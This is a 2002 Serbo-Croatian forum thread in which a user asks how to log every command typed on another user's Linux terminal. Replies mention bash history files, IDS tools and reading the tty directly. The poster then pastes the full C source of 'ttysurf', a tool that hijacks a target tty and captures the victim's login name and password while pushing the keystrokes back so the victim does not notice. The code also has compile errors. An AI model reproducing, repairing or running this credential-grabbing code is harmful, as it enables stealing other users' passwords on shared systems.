[ glupi @ 09.01.2002. 23:06 ] @
Ovako htio bih napravit program koji ce sa nekog ttya(linux) zapisivati sve upisane komande. E sada mene zanima kako bi to mogao napravit? Kako da citam iz userovog tty-a?? |
[ glupi @ 09.01.2002. 23:06 ] @
[ anon676 @ 09.01.2002. 23:13 ] @
znas kako...to ti u principu i nije potrebno, ako tvoji korisnici koriste bash citaj njihove .bash_history-e
[ BaCkSpAcE @ 09.01.2002. 23:45 ] @
darkmind: covek hoce da to radi real-time vremenu, a u ostalom, sta ako taj korisnik dobije roota pa obrise .bash_history...
pametni: mislim da sam vidjao neko parce koda po tom pitanju... mislim da se zove ttysurf ili tako nesto... p0zdrav [ Gojko Vujovic @ 10.01.2002. 03:23 ] @
Ne mora da ima root-a da bi obrisao .bash_history ili ga linkovao na /dev/null na primer.
[ anon676 @ 10.01.2002. 10:46 ] @
znam i ja sta on hoce...pa ako je tako neka lepo stavi neki ids, ili sta vec hoce...
[ anon676 @ 10.01.2002. 10:49 ] @
usput probaj snort...ili ako volis da sniffas mrezu probaj iptraf
[ anon676 @ 10.01.2002. 10:51 ] @
uostalom sta da se jebes sa ceom kada to mozes ocas posla napisati u bashu...gledaj primer
less -f /dev/ttyX [ Ivan Tanasic @ 10.01.2002. 12:40 ] @
Citat: dARKmIND: uostalom sta da se jebes sa ceom kada to mozes ocas posla napisati u bashu...gledaj primer less -f /dev/ttyX Zato sto covek oce da uradi u c, kakvo je to pitanje ?? ;) Ma za te stvari ti je zakon da uzmes gotov kod i procitas sta te zanima, mozda kasnije dobijes ideju.... [ glupi @ 10.01.2002. 21:23 ] @
Naso sam jedan program ttysurf ali ga nemogu sompajlirat javlja mi neke greske, ali ne mogu prokljuvit zasto ako neko moze pogledat pa mi rec eventualno rjesenja (ako ga ima)??
#include <stdio.h> #include <signal.h> #include <fcntl.h> #include <errno.h> #include <sys/types.h> #include <sys/termios.h> #define DEBUG 1 /* Enable additional debugging info (needed!) */ #define USLEEP /* Define this if your UNIX supports usleep() */ #ifdef ULTRIX #define TCGETS TCGETP /* Get termios structure */ #define TCSETS TCSANOW /* Set termios structure */ #endif handler(signal) int signal; /* signalnumber */ { /* do nothing, ignore the signal */ if(DEBUG) printf("Ignoring signal %d\n",signal); } int readandpush(f,string) FILE *f; char *string; { char *cp,*result; int e; struct termios termios; result=fgets(string,20,f); /* Read a line into string */ if (result==NULL) { perror("fgets()"); return(1); } if (DEBUG) { printf("String: %s\n",string); fflush(stdout); } ioctl(0,TCGETS,&termios); /* These 3 lines turn off input echo */ /* echo = (termios.c_lflag & ECHO); */ termios.c_lflag=((termios.c_lflag | ECHO) - ECHO); ioctl(0,TCSETS,&termios); for (cp=string;*cp;cp++) /* Push it back as input */ { e=ioctl(0,TIOCSTI,cp); if(e<0) { perror("ioctl()"); return(1); } } return(0); } main(argc,argv) int argc; char *argv[]; { /* variables */ int err; FILE *f; char *term = "12345678901234567890"; char *login = "12345678901234567890"; char *password = "12345678901234567890"; if (argc < 2) { printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]); printf("Enter ttyname: "); gets(term); } else term=argv[argc-1]; signal(SIGQUIT,handler); signal(SIGINT,handler); signal(SIGTERM,handler); signal(SIGHUP,handler); signal(SIGTTOU,handler); close(0); /* close stdin */ #ifdef ULTRIX if(setpgrp(0,100)==-1) perror("setpgrp:"); /* Hopefully this works */ #else if(setsid()==-1) perror("setsid:"); /* Disconnect from our controlling TTY and start a new session as sessionleader */ #endif f=fopen(term,"r"); /* Open tty as a stream, this guarantees getting file descriptor 0 */ if (f==NULL) { printf("Error opening %s with fopen()\n",term); exit(2); } if (DEBUG) system("ps -xu>>/dev/null &"); fclose(f); /* Close the TTY again */ f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */ if (f==NULL) { printf("Error opening /dev/tty with fopen()\n",term); exit(2); } if(readandpush(f,login)==0) { #ifdef USLEEP usleep(20000); /* This gives login(1) a chance to read the string, or the second call would read the input that the first call pushed back ! /* #else for(i=0;i<1000;i++) err=err+(i*i) /* error /* Alternatives not yet implemented */ #endif readandpush(f,password); printf("Result: First: %s Second: %s\n",login,password); } fflush(stdout); sleep(30); /* Waste some time, to prevent that we send a SIGHUP to login(1), which would kill the user. Instead, wait a while. We then send SIGHUP to the shell of the user, which will ignore it. */ fclose(f); } Copyright (C) 2001-2025 by www.elitesecurity.org. All rights reserved.
|